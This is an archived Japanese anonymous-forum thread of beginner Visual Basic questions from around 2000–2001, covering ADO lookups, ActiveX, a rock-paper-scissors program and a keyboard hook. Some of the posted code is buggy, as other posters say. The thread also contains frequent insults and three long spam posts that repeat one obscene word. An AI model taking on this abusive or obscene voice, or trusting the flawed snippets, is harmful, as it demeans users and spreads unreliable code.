>>371 このあたり、メモリなんかぜーんぜん気にしなくていいところも
VBの偉大なところですね。
俺は気にするが・・・ 用が無くなったら必ず Set X = Nothing で参照カウンタをデクリメントしている。 市販ActiveXコントロールでメモリ馬鹿食いのがあったりするんで 極力基本コントロールで済ます。ビットマップなんか殆ど 貼り付けたりしない。VBのプロジェクトでいくら外観にこった ところでしょうがないからなるべくシンプルにする。
ちなみにVBのCollection型ってDelphiのTListみたいに 全要素を一発で消去できる Clearメソッドみたいなの 無いものか・・・データが多いとループで回してRemove呼ぶと 時間掛かるんだよね・・・VB7じゃここらへんも直して欲しい ところ。
>>347 遅レスだけど・・・
Set, Letメソッドなら配列を受け取る事は可能。
GetはVariant配列のみ可能。
配列の上限、下限はUBound,LBoundで取得。
Cの可変個引数やDelphiのオープン配列に相当するものは
キーワードParamArray。
377 :
リアル厨房 :2000/12/23(土) 00:29
プロシージャ内の処理と処理の間にマウスボタンクリックで解除できる ウエイトを入れたいのですがうまくいきません。 privaate sub command1_click() txta.text = y 'ここにマウスクリックで解除できるウエイト処理を入れたいのです txta.text = x end sub ウエイトが無いと、yの表示後すぐにxが表示され、yが目視出来ません。 msgboxを挿入すればそれっぽい処理になりますが、別WindowsにOKとかじゃ どうにも不恰好に見えます。何か良い方法はあるでしょうか。
わかりません。何故クリックイベントの中でさらにクリックが 必要なのでしょう? yの値を表示させたいならDoEventsなりRePaintを呼び出し、 タイマーなり空ループなりすればいいと思いますが。 #しかし何故VB使いの方々は煽りばかりで初心者の 質問に答えてあげないのでしょう?
379 :
佐藤 :2000/12/25(月) 15:44
Active Xコントロールを作って遊んでるんですが, 編集時にActive X コントロールを 実行状態にする方法についてお尋ねします。 EditAtDesignプロパティをTrueにして、 編集時に[右クリックー>編集]とすることで 一応実行状態にはなるのですが、 操作がわずらわしいのです。 できれば、編集時、該当コントロールを クリックしただけでそのコントロールを 実行状態にする方法はないものでしょうか?
380 :
377 :2000/12/25(月) 16:15
ありがとうございます。例がクリックにクリックで変ですね。 意図が解かり難い質問でスミマセンでした。 なかなかうまくいきませんが、もう少し頑張ってみます。
381 :
名無しでGO! :2000/12/26(火) 20:49
質問です。 tabを追加するとき、既存のtabの間に追加できないのか。 tabを追加するといつも最後のならびに追加されてしまう のですが。
382 :
デフォルトの名無しさん :2000/12/26(火) 22:29
>379(佐藤) VB初心者友の会でも聞いてるだろこのタワケモンがあ。 どっちかにせえボケ。 しかもどっちもレス無し
佐藤逝って良し
384 :
鈴木 :2000/12/26(火) 23:45
佐藤逝って良し ついでに田中も逝って良し!
385 :
佐藤 :2000/12/27(水) 10:21
>382 わはは ばれちっち。 レス無しを予想しての多方面投稿でした。 つまり、できないってこと なのかな?
386 :
名簿の登録について質問@ :2000/12/27(水) 13:13
Dim Al As String Al = "電話番号 = '" & txtTel.Text & "'" rs.Find Al, 1, adSearchBackward rs.MoveFirst rs.Find Al, , adSearchForward 'この間にテキストが空だったときにエラーを返してExit Subで抜けている。 If rs.EOF = True Then rs.AddNew rs!顧客コード = txtKodo.Text rs!顧客氏名 = txtName.Text rs!ふりがな = txtFurigana.Text rs!郵便番号 = txtZip.Text rs!都道府県 = txtKen.Text rs!住所 = txtAd.Text rs!電話番号 = txtTel.Text rs!備考 = txtBikou.Text rs.Update End If If rs.EOF = False Then MsgBox ("その人は既に登録されています。") End If txtKodo.Text = "" txtName.Text = "" txtFurigana.Text = "" txtZip.Text = "" txtKen.Text = "" txtAd.Text = "" txtTel.Text = "" txtBikou.Text = "" txtKodo.SetFocus
387 :
名簿の登録について質問A :2000/12/27(水) 13:20
↑どこが間違っているのかわかりません。 rs.EOFがFalseの時に、elseまで抜けているのに rs!のところにテキストの内容が入ってしまって、 登録されていない電話番号でも、EOFがFalseの時のエラーメッセージが 出てきてしまいます。 しかも、ADDNEWされず、名簿のどこかに上書きされてしまい レコード数は同じまま、そのとき入力したものが名簿に登録?(上書き) されてしまいます。 わかる方どうか教えてください。
389 :
いや、調べてはみたんですが・・・ :2000/12/28(木) 13:20
ラベルのAPPEARANCEを3Dにすると、 見た目窪みますよね? これを逆に凸型にもりあげることってできませんでしょうか?
390 :
デフォルトの名無しさん :2000/12/28(木) 20:30
>389 用意するもの ラベル2個 ラベルの片方をもう片方より同系色で暗くする 暗いほうのボーダーラインを実線にする その上に明るいほうを貼りつける 盛り上がってるようにみえる ような気がする
391 :
389 :2000/12/29(金) 10:43
>390 ぐはぁ!そうきますか・・・ やると、そう見えなくもないですが・・・ お世話になりました・・・
> ボーダーラインを実線にする ってのがよくわからないんですが‥? なんで?
393 :
デフォルトの名無しさん :2000/12/29(金) 15:45
ラーニングエディションのアカデミックパックっていくらですか?
1万
395 :
393 :2000/12/29(金) 19:12
>>394 さん
どーもです。
1万くらいなら余裕あるから買えるな・・・
396 :
デフォルトの名無しさん :2000/12/30(土) 05:56
タイプライブラリってなんですか? Cで作るんですか?
397 :
デフォルトの名無しさん :2000/12/30(土) 11:33
タイプライブラリってtypedefが沢山かかれてるライブラリのこと?
398 :
>396 :2000/12/30(土) 11:39
心配しなくてもVBが勝手に作ってくれるから大丈夫。 何も考えずにActiveX作ればOK
399 :
デフォルトの名無しさん :2000/12/30(土) 14:03
VBで作ったActiveX DLLをWebに貼り付けたいのですが、classidをどうやって調べてます? <OBJECT classid="clsid:xxxx-xxx ... のxxxx-xxx ... なんですがこのタグでprogidでの指定ができないので classidで指定するほかないみたいなんですが。 とりあえず、regeditでprogidをキーに探すか、OLE Viewerでtypelibをダンプして 調べてますが、もう少しスマートな方法がないもんかと。 いっそうのことVBにclassidを勝手に作らせないで タイプライブラリを作ってそこでclassidを自分で指定させたほうがいいかな? とも思う今日この頃。
400 :
デフォルトの名無しさん :2000/12/30(土) 19:42
>399 VisualInterDevを使うってのはダメ? 結構便利よ。
VBでって言っているのに...
402 :
がんばれ、VB1週間目 :2000/12/31(日) 15:57
Form1に書いた Dim a as long a = time の変数aの値を 他のForm2から見るためにはどうしたら良いでしょうか?
403 :
名無しさん@お腹いっぱい。 :2000/12/31(日) 16:03
DimではなくPublicを使う。 関数の中ではなく外、ソースの一番上なんかに Public a as long とすればForm1.a として見えるよ。
404 :
がんばれ、VB1週間目 :2000/12/31(日) 16:31
はぁ、なるほど。
405 :
名無しさん@お腹いっぱい。 :2001/01/02(火) 20:35
この掲示板の質問は尋ねる側のレベルにばらつきがあって、答えにくい。 出来んヒトにとってはもっといいページたくさんあるだろ。 こんな匿名掲示板でまともなレスは全然期待できねーぞ。 本気で勉強するなら書籍読むか、特定の初心者向けHPを閲覧すべきだろうね。
406 :
>405 :2001/01/02(火) 22:18
結局自力でなんとか出来ない奴は質問してもやはり なんともならないと・・・言うわけだね?
407 :
デフォルトの名無しさん :2001/01/03(水) 04:09
>>399 ディストリビューションウィザードでsetup作れば?
htmlファイルが自動生成されるけど、その中にclassid書いてあるよ。
めんどくさいけどregeditでさがすよりマシでしょ?
408 :
質問ing娘。 :2001/01/03(水) 05:06
>>399 ダミープロジェクトにカスタムDLL参照設定させて
そのプロジェクトファイル見りゃEEじゃん×2
つーかActiveXDLL作ってんならテスト用クライアント
プログラムあるんじゃないの?
なぜPrintメソッドやLineメソッドでWith文では使えないのでしょうか? Form1.Print "文字" とは出来ても、 With Form1 .Print "文字" End With とは出来ません。
410 :
RPG作りたいです。 :2001/01/04(木) 19:29
VBの基本的なことは本を見て勉強したのでゲームに挑戦してみようかと思いました。 最終的にRPGを作りたいのですが、検索してもいいサイトが出てきません。 いい勉強サイトありませんでしょうか?
411 :
21月 :2001/01/04(木) 19:56
locationで新しく開いたウィンドウに元のwindowのデータを送るにはどうすればよいです? 開いた方のrequest.formでは取得出来ないんです?
412 :
sage :2001/01/04(木) 21:29
DLLを動的に使う際、 モジュールの有無は LoadLibrary 、 関数の有無は GetProcAddress で確認できますが、 では引数の数、及び第n引数の型を調べるには どうすればいいのでしょうか?
↑412 入力欄間違い。ageてすみません。
414 :
デフォルトの名無しさん :2001/01/04(木) 22:54
>410 無駄。 JavaをやったあとC#をやれ・・・。
415 :
デフォルトの名無しさん :2001/01/05(金) 00:14
Windows2000を入れたいんですが、2000にVB5.0入れても問題ないでしょうか? 何かしら不都合があるのだったら新しく買いますが。
416 :
デフォルトの名無しさん :2001/01/05(金) 04:33
text.txtがない場合、text.txtを製作したいらしい。 Open App.Path & "\text.txt" For Append As #1 Write #1, "" Close #1 これってどうなんでしょ?下手糞でしょうか?
418 :
デフォルトの名無しさん :2001/01/05(金) 09:45
>>419 結局出来ない(BUG)と言う事か・・・Thanks!
#BASICの予約語多すぎ。
>>DLLにそういう関数を実装してもらえ(w
やっぱ普通のDLLじゃなくてCOMにすべき。
実装、配布ともに面倒だけど。
421 :
じゃんけんについて質問 :2001/01/06(土) 00:20
はじめ10回分じゃんけんして毎回の手を記録してそれを最後に表示するようなプログラムを 作りたいのだけど途中でプログラムが止まってしまってこれ以上できないんですよ。これは どこが悪いの? Option Explicit Private Sub Form_Load() Dim counter As Integer, lose As Integer, drow As Integer, win As Integer Dim com As Integer, player As Integer '勝敗数を0に初期化する Dim hand(2) As String hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー" Randomize Timer '時計を使って乱数を出しやすくする 'はじめに1回だけ win = 0: lose = 0: drow = 0 For counter = 1 To 10 com = Int(Rnd * 3) player = InputBox("ジャンケンポン") Do While player <> 0 And player <> 1 And player <> 2 If player <> 0 Then ElseIf player <> 1 Then ElseIf player <> 2 Then Else End If Loop MsgBox ("あなたは" & hand(player) & "コンピュータは" & hand(com)) If com = player Then MsgBox ("あいこです") drow = drow + 1 ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then MsgBox ("あなたの勝ちです") win = win + 1 Else MsgBox ("コンピュータの勝ちです") lose = lose + 1 End If Next counter MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(drow)) End End Sub
422 :
ヒマつぶし@自宅 :2001/01/06(土) 00:48
マジレスしていいものか どんなエラーメッセージが出る? たぶんそのメッセージ通りだ。 player As Integer ←これだろ?
423 :
VB厨房 :2001/01/06(土) 04:00
Do While player <> 0 And player <> 1 And player <> 2 If player <> 0 Then ElseIf player <> 1 Then ElseIf player <> 2 Then Else End If Loop このWhile文で、0、1、2以外の数字を入れると抜け出れなくなっている。 おそらくこれは、0から2までの数字を入れるように、促す目的だと思う。 でも、このWhile文がなくても、Cと違って、playerには0が入っている。 ので、一見すんなり動作する。 dim OK as integer OK = 0 Do If player <> 0 And player <> 1 And player <> 2 Then MsgBox "0,1,2の値を入力してください。" player = InputBox("ジャンケンポン") Else OK = 1 End If Loop Until OK = 1 としてみた、
424 :
名無しさん :2001/01/06(土) 11:47
VBを卒業してC++を勉強するのはちょっとムリがありますか? 間に何かを勉強した方がいいんでしょうか?
いいからそのまま行け!
>>423 InputBoxに数字以外が入力されたらどうなるんだよ、バーカ
>>424 不可能ではありませんが、VBに比べて手取り足取り教えてくれる
リソース(書籍なりWebサイト等)が少なくなり、何事も自主解決
を求められます。
「自分で頑張ってみよう」という努力があればなんとか乗り
越えられますが、「誰かやってくれないかな〜」と他力本願
していると即時に破綻します。
仕事先のVBプログラマは例外なく上のとおりに破綻しました。
428 :
VB厨房 :2001/01/06(土) 13:56
>>426 うっせーよ、
dim player$
If Asc(player) < 47 Or 50 < Asc(player) Then
429 :
デフォルトの名無しさん :2001/01/06(土) 14:01
わははは、ほんっと厨房まるだし
430 :
デフォルトの名無しさん :2001/01/06(土) 14:32
わははは、ほんっとチンポまるだし
431 :
てぃむぽ綺麗 :2001/01/06(土) 15:18
上と同じような問題出してください
>>428 おまえ本当にバカだな
本当に中学生なのか??
player = "1aaa"だったったら
>If Asc(player) < 47 Or 50 < Asc(player) Then
これはどうなるんだ?
>If Asc(player) < 47 Or 50 < Asc(player) Then やっちゃったね・・・
434 :
デフォルトの名無しさん :2001/01/07(日) 18:18
VBはクソ。はやく質問しろ。
435 :
デフォルトの名無しさん :2001/01/07(日) 18:27
シェアウェアの試用期間やユーザ登録を管理するクラスをActiveX.DLLにまとめようと思ったのですが、このDLLにシリアルなどを入力させる為のフォームモジュールをぶち込む事は出来ないでしょうか? つまり、クラスモジュールなどに書いたコードから標準コントロールも含めたGUIフォームを生成させたいのですが。
437 :
デフォルトの名無しさん :2001/01/07(日) 21:52
ここは動物の檻か!!
438 :
VB厨房 :2001/01/07(日) 22:23
はぁすみませんね、 If Asc(Right(player,1)) < 47 Or 50 < Asc(Right(player,1)) Then これで、文句ないだろ? もしくは、取得時に、振り分けろよ、質問してきた奴が 揚げ足してたら、笑えるけど。 (あれはGUIになれていない、プログラムだし) しかし、さすが2ch、揚げ足だけは一流だな。
439 :
VB厨房 :2001/01/07(日) 22:25
訂正、Right→left関数です。
440 :
デフォルトの名無しさん :2001/01/07(日) 22:37
>これで、文句ないだろ? この後に訂正してるのが笑える。
441 :
デフォルトの名無しさん :2001/01/07(日) 23:10
>これで、文句ないだろ? 文句大アリ InputBoxでなにも入力せずにenter押下されたら? >しかし、さすが2ch、揚げ足だけは一流だな。 揚げ足取りっていうか、質問者のソースよりお前のソースの方が バグ多いよ。
442 :
デフォルトの名無しさん :2001/01/07(日) 23:25
クラスモジュールの中でWinAPIを使おうとするとエラーが出てしまいます。何故ですか?
>>439 "123"という入力があったら"1"と判定すんのか?
そんなのアリ??
>>442 使えないワケはない。
っていうかWinAPIをラップしたクラスモジュールって、あちこちに落ちてるじゃん。
宣言はあってるか?
引数をまちがえてないか?
そのへんをチェックしたら。
444 :
デフォルトの名無しさん :2001/01/08(月) 14:50
VB厨房さん早く完成させてください。 全国の幼稚園児が待っています!!
>さすが2ch、揚げ足だけは一流だな。 凄い人も多いけどね、君のような「これで、文句ないだろ?」とか豪語した後で 焦って訂正する厨房も多いのだよ。君だけではない安心しなさい。
書いてみた。でもInputBox関数なんか使わずボタン3個使えば すむ話じゃない?VBにはコントロール配列があるはず。それの Indexプロパティの値使えば? Private Sub CommandButton1_Click() Dim counter As Integer, lose As Integer, drow As Integer, win As Integer Dim com As Integer, player As Integer Dim InputWork As String '勝敗数を0に初期化する Dim hand(2) As String hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー" Randomize Timer '時計を使って乱数を出しやすくする 'はじめに1回だけ win = 0: lose = 0: drow = 0 For counter = 1 To 10 com = Int(Rnd * 3) Do InputWork = InputBox("ジャンケンポン") If IsNumeric(InputWork) Then player = CInt(InputWork) End If Loop While (player < 0) Or (2 < player) MsgBox ("あなたは" & hand(player) & " コンピュータは" & hand(com)) If com = player Then MsgBox ("あいこです") drow = drow + 1 ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then MsgBox ("あなたの勝ちです") win = win + 1 Else MsgBox ("コンピュータの勝ちです") lose = lose + 1 End If Next counter MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(drow)) End Sub >> 442 恐らくDeclareの前にPrivateが付いていないせいです。というより、 エラーメッセージを良く読みましょう。
>>446 playerは毎回初期化しましょう(^^;
>VBにはコントロール配列があるはず。
ごもっとも
今度はある程度戦略をもったジャンケンにしてくれ。 野球拳ゲームに発展させてくれ。
VBをやっといたほうがVC++の理解ははやいですかね? ちなみにCは一通りできます。
強く書きすぎたせいか、書き込みがないな。
勝手にまとめると、
質問者のソースではでは
・数値以外の入力があったらアベンド
・Integerの範囲外の数値が入力されたらアベンド
・小数点以下の入力ま丸められる
・丸めた後の値が1,2,3以外だったら永久ループ
VB厨房の
>>423 のソースだと、永久ループは対応したが
それだけ
その後
>>428 でInputBoxの戻り値を文字列型変数にして
数値以外の入力に対応したが
・2文字目以降の入力は無視
・InputBox関数から空白が返されたらアベンド
を追加
>>438 >>439 の修正は無意味
>>446 のソースではおおむね問題ないが
・Integerの範囲外の数値が入力されたらアベンド
・小数点以下の入力ま丸められる
・初回または前回有効な数値が入力されていた状態で、
数値以外(空白含む)が入力された場合、前回の値が
有効になってしまうとまあ偉そうに書いてみたが、これを書くために過去ログを
見直してみたら
>>422 で永久ループの事を書き忘れてた事に気がついた。
鬱田死脳
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
今読みなおして思ったのだが、 Loop Until (0 <= player) And (player <= 2) の方がよかったな。それから引き分けはdrawだった。
455 :
デフォルトの名無しさん :2001/01/10(水) 13:38
TreeViewで種類順(アイコンごと)に並べ替えたいのですが Sortedだとアルファベット順になってしまってうまく出来ません。 何か他に良い方法ありませんか?
457 :
デフォルトの名無しさん :2001/01/10(水) 14:38
>>456 そうなんですか?
うーん、やってみます。
ありがとうございました。
458 :
デフォルトの名無しさん :2001/01/10(水) 15:51
VBってジャンケンゲームを完成させるのにここまで時間がかかるのか!!
>>458 ソース出さないと完成したことにならんのか?
じゃあ
>>446 をちょっとだけ改良
Private Sub Command1_Click()
Dim counter As Integer, lose As Integer, draw As Integer, win As Integer
Dim com As Integer, player As Integer
Dim InputWork As String
'勝敗数を0に初期化する
Dim hand(2) As String
hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー"
Randomize Timer
'時計を使って乱数を出しやすくする
'はじめに1回だけ
win = 0: lose = 0: draw = 0
For counter = 1 To 10
com = Int(Rnd * 3)
Do
InputWork = InputBox("ジャンケンポン")
Loop Until ((StrComp(InputWork, "0") = 0) _
Or (StrComp(InputWork, "1") = 0) _
Or (StrComp(InputWork, "2") = 0)) '文字列として比較
player = Int(InputWork)
MsgBox ("あなたは" & hand(player) & " コンピュータは" & hand(com))
If com = player Then
MsgBox ("あいこです")
draw = draw + 1
ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then
MsgBox ("あなたの勝ちです")
win = win + 1
Else
MsgBox ("コンピュータの勝ちです")
lose = lose + 1
End If
Next counter
MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(draw))
End Sub
こういうことを云うと実も蓋もないのだが... 全てのガンは、実はInputBoxを使わせているところにあって (つまりインターフェース設計上の不良だな) 素直に「グー」「チョキ」「パー」というボタンを押させるという インターフェースであれば、ユーザーにとって分かりやすい上に、 今までのような下らない問題の発生する余地が無かった筈なのだ。 俺ならこのような仕様を提示されたら、まずそれを直させるな。
461 :
デフォルトの名無しさん :2001/01/10(水) 20:05
晒しage
>>460 仕事だったらそうするけど、初心者の練習問題じゃん。
それに使い勝手は悪いけど、実現困難って仕様じゃないし。
っていうか、こんなの直せないようなヤツはゴミ。
匿名掲示板だから軽い気持ちで書くんだろうけど、解答として出した
ソースがバグってるのはみっともないぞ。
もちろん初心者質問スレだから初心者っぽい質問はかまわないが
解答者まで初心者である必要はないだろ。
463 :
VB名無しさん :2001/01/11(木) 10:02
VB7でコマンドライン引数を取ろうとしてるんですけど、やり方がわかりません。 C#のつもりで Public Class Hoge Public Shared Sub Main(args As String()) ... とやったら怒られてしまいました。 もしかして、VBではできないのでしょうか...。
>>463 漏れもそれでずいぶん悩んだ。
引数ありのMainはどうやらだめらしい。
EnvironmentクラスのGetCommandLineArgs()というのを使いなされ。
465 :
デフォルトの名無しさん :2001/01/11(木) 11:18
誰か、すみませんが、C言語の簡単なプログラムを教えて くださいませんか?
#include <stdio.h>
int main(void)
{
printf("
>>465 \n");
printf("スレ違い。逝ってよし!!\n");
return 0;
}
467 :
VB名無しさん :2001/01/11(木) 11:36
>>464 激しく感謝!!!できました。
Imports System
Public Class Hoge
Public Shared Sub Main()
Dim args As String() = Environment.GetCommandLineArgs
Dim s As String
For Each s In args
Console.WriteLine(s)
Next
End Sub
End Class
↑こんなのVBじゃないやい。
469 :
デフォルトの名無しさん :2001/01/11(木) 16:15
フォントのCommonDialogを作ったのですが スタイルを使わないので消したいのです。 どうすればいいのですか?
VB7.NETはVBがJavaやDelphiと不倫して出来た子です。 どちらの子かわかりません。 #しかし基本的シンタックスは変わらんのな〜。
そんなんするんだったら もう { } 付けてもアレと変わらんやん・・・
472 :
:2001/01/12(金) 01:16
VB7.NETってもう発売されてるんでしょうか?
>471 いっそのこと{}もつければよかったのに。 VBあんま使わんけど"Endなんとか"気持ち悪い。
474 :
名無しでGO! :2001/01/15(月) 11:29
すごく単純なことかもしれないのですが。。。 VBAでUSERFORMを複数つくた時に、USERFORM間の変数の共有ってどうやれば よろしいのでしょうか??
475 :
デフォルトの名無しさん :2001/01/15(月) 13:28
VBでウィンドウにフォーカスが無くても キーボードを押したときイベントを取れるようにしたくて (翻訳ソフトでF12押したら翻訳はじめるようなやつ) 色々調べて、以下のようなコードまでは出来たのですが 行き詰まってます。 Public Const WH_KEYBOARD = 2 Public Const VK_ESCAPE = &H1B Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, LPARAM As Any) As Long Public Declare Function GetLastError Lib "kernel32" () As Long Public Type LARGE_INTEGER lowpart As Long highpart As Long End Type 'フックハンドル Public hHook As Long Public Function KeyboardProc(ByVal code As Long, ByVal wParam As Long, LPARAM As LARGE_INTEGER) As Long CallNextHookEx hHook, code, wParam, LPARAM If wParam = VK_ESCAPE Then '処理 End If End Function Public Sub SetHook() 'フック設定 hHook = SetWindowsHookEx(WH_KEYBOARD, AddressOf KeyboardProc, 0, 0) If hHook = 0 Then hHook = GetLastError() 'エラー時処理 End If End Sub SetWindowsHookExで、ハンドルが返ってくるはずですが 0が返ってきて成功しません。 次の、GetLastErrorも0が返ってきてよくわかりません。 なんか、根本的に間違っているのでしょうか? 誰か、助けてください。お願いします。
>>475 MSDN曰く
システムフックは共有リソースなので、インストールすると
すべてのアプリケーションに影響を与えます。
システムフック関数は、ダイナミックリンクライブラリ (DLL) 内に
置かなければなりません。
MSDNは「システムフック」を明確に定義していないように見えるが、
文脈からいって、dwThreadIdに0を指定したものを指す。
それとKeyboardProcの最後の引数はLARGE_INTEGER
じゃないんじゃないか?
>>476 よく読み直してみると、その通り書いてありました。
すいません。ありがとうござます。
はぁ、そっか、もっと簡単に出来ると思ったけどな
残念。
478 :
デフォルトの名無しさん :2001/01/15(月) 15:48
>477 フックなんて使わないでHotkeyを登録すれば?ESCが使えたか忘れたけど
480 :
デフォルトの名無しさん :2001/01/17(水) 13:26
VBで任意の周波数の音を再生させたりしたいんだけど、どうすればいいんだろ? (早い話がシンセみたいなのを作りたい)
481 :
デフォルトの名無しさん :2001/01/17(水) 14:13
VBってwindowsMeだとうまく動作しないというのは 本当でしょうか?
482 :
名無しさんi486 :2001/01/17(水) 18:30
>>474 よくわからんが、"proparty let"と"proparty get"使えばできるぞ。
俺はフォーム同士でデータを受け渡す時は、これを使っている。
え?Publicにするだけじゃないの?
484 :
482 :2001/01/17(水) 18:39
悪い、"let"では無く、"set"だったかも知れない。 そこは自分に必要な方でやってくれ。
485 :
482 :2001/01/17(水) 18:54
>>483 なんでもかんでも、Publicで宣言するな!ばかちん!
486 :
デフォルトの名無しさん :2001/01/18(木) 10:04
あるポート番号を指定して,そこに流れるデータを監視したいんだけど どうやれば良いんですかね?
487 :
482 :2001/01/18(木) 10:39
>>486 Microsoft Comm Controlを使えばできると思う。
詳細はMSDNで調べてね。
488 :
>>480 :2001/01/18(木) 11:12
DirectSoundでどうぞ. 適当なサイン波でも用意して,SetFrequancyかな.
>>484 Setメソッドは
Set hoge = hage
って構文で使いたい時だけだったよね?ばかちん!
それからPropertyだよね?ばかちん!
490 :
482 :2001/01/18(木) 11:58
>>489 さん
ちがうやい!ばかちん!
setはProperty setって使ってくれって意味で書いたんだい!
スペルミスはすまん。俺がばかちん!
みっともないからsageながらやろう。 Property Setで宣言したプロパティは Set hoge = hage って構文で使いたい時に使うから普段の hoge = hage の時はLetでいいんだよ。 当然引数もSetはByRefでな。
>>491 あ〜なる。
setを使うときはオブジェクトを渡してインスタンスを生成する時だったな。
すまん、全面的に俺がばかちん!
だから、場合によってはsetも使うじゃん。 俺はあやまる必要ないのではないだろうか?
まぁいいや、で質問者は問題解決したのかな?
>>495 なるほど、VB.NETではそうなるのか〜
ステートメントが1つになるから、いいんじゃない?
俺は気に入ったけど。
497 :
480 :2001/01/18(木) 22:01
